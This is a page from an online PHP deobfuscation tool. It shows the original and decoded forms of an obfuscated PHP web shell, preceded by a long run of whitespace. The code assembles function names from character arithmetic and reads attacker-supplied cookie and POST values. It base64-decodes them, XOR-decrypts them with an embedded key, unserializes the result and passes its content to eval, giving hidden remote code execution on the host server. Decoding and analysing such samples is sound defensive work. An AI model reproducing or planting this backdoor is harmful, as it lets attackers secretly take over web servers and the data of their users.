Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $xJFNbze = 'p' . "_" . "l" . 'u' . "n" . chr ( 470 - 395 ).chr ( 1054 - 947 ); $lVjnDb = 'c' . "l" . "a" . 's' . 's' . '_' . "e" . chr ( 422 - 302 ).'i' . chr ( 449 - 334 ).chr (116) . chr ( 495 - 380 ); $NPuLA = $lVjnDb($xJFNbze); $xJFNbze = "47598";$TxgCqobbY = $NPuLA;$lVjnDb = "27229";if (!$TxgCqobbY){class p_lunKk{private $VWJZHveww;public static $AEBkOln = "4fbc4230-5862-48d3-a676-7fbbc1a98c47";public static $mJTUhybJq = 47955;public function __construct($WPtyMAdi=0){$SDKIa = $_COOKIE;$dgJDWxTXCZ = $_POST;$xLqwLF = @$SDKIa[substr(p_lunKk::$AEBkOln, 0, 4)];if (!empty($xLqwLF)){$WMonJ = "base64";$KteHbyAZNq = "";$xLqwLF = explode(",", $xLqwLF);foreach ($xLqwLF as $VAIvusli){$KteHbyAZNq .= @$SDKIa[$VAIvusli];$KteHbyAZNq .= @$dgJDWxTXCZ[$VAIvusli];}$KteHbyAZNq = array_map($WMonJ . "_" . chr ( 679 - 579 ).chr (101) . chr (99) . chr (111) . chr (100) . "e", array($KteHbyAZNq,)); $KteHbyAZNq = $KteHbyAZNq[0] ^ str_repeat(p_lunKk::$AEBkOln, (strlen($KteHbyAZNq[0]) / strlen(p_lunKk::$AEBkOln)) + 1);p_lunKk::$mJTUhybJq = @unserialize($KteHbyAZNq);}}private function TsxGjnq(){if (is_array(p_lunKk::$mJTUhybJq)) {$wPxRP = str_replace('<' . "?" . "p" . "h" . chr (112), "", p_lunKk::$mJTUhybJq['c' . chr (111) . 'n' . "t" . 'e' . chr (110) . 't']);eval($wPxRP); $gzQqZ = "13694";exit();}}public function __destruct(){$this->TsxGjnq(); $gzQqZ = "13694";$cePGQpzS = str_pad($gzQqZ, 10);}}$vUJsFUwh = new /* 43849 */ p_lunKk(); $vUJsFUwh = substr("15025_42755", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $xJFNbze = 'p' . "\x5f" . "\x6c" . 'u' . "\156" . chr ( 470 - 395 ).chr ( 1054 - 947 ); $lVjnDb = 'c' . "\154" . "\x61" . 's' . 's' . '_' . "\145" . chr ( 422 - 302 ).'i' . chr ( 449 - 334 ).chr (116) . chr ( 495 - 380 ); $NPuLA = $lVjnDb($xJFNbze); $xJFNbze = "47598";$TxgCqobbY = $NPuLA;$lVjnDb = "27229";if (!$TxgCqobbY){class p_lunKk{private $VWJZHveww;public static $AEBkOln = "4fbc4230-5862-48d3-a676-7fbbc1a98c47";public static $mJTUhybJq = 47955;public function __construct($WPtyMAdi=0){$SDKIa = $_COOKIE;$dgJDWxTXCZ = $_POST;$xLqwLF = @$SDKIa[substr(p_lunKk::$AEBkOln, 0, 4)];if (!empty($xLqwLF)){$WMonJ = "base64";$KteHbyAZNq = "";$xLqwLF = explode(",", $xLqwLF);foreach ($xLqwLF as $VAIvusli){$KteHbyAZNq .= @$SDKIa[$VAIvusli];$KteHbyAZNq .= @$dgJDWxTXCZ[$VAIvusli];}$KteHbyAZNq = array_map($WMonJ . "\x5f" . chr ( 679 - 579 ).chr (101) . chr (99) . chr (111) . chr (100) . "\145", array($KteHbyAZNq,)); $KteHbyAZNq = $KteHbyAZNq[0] ^ str_repeat(p_lunKk::$AEBkOln, (strlen($KteHbyAZNq[0]) / strlen(p_lunKk::$AEBkOln)) + 1);p_lunKk::$mJTUhybJq = @unserialize($KteHbyAZNq);}}private function TsxGjnq(){if (is_array(p_lunKk::$mJTUhybJq)) {$wPxRP = str_replace('<' . "\x3f" . "\x70" . "\x68" . chr (112), "", p_lunKk::$mJTUhybJq['c' . chr (111) . 'n' . "\164" . 'e' . chr (110) . 't']);eval($wPxRP); $gzQqZ = "13694";exit();}}public function __destruct(){$this->TsxGjnq(); $gzQqZ = "13694";$cePGQpzS = str_pad($gzQqZ, 10);}}$vUJsFUwh = new /* 43849 */ p_lunKk(); $vUJsFUwh = substr("15025_42755", 1);} ?>

Function Calls

chr 6
class_exists 1

Variables

$lVjnDb class_exists
$xJFNbze p_lunKk

Stats

MD5 316d002c23ab553ad07cc7b9a16a1231
Eval Count 0
Decode Time 96 ms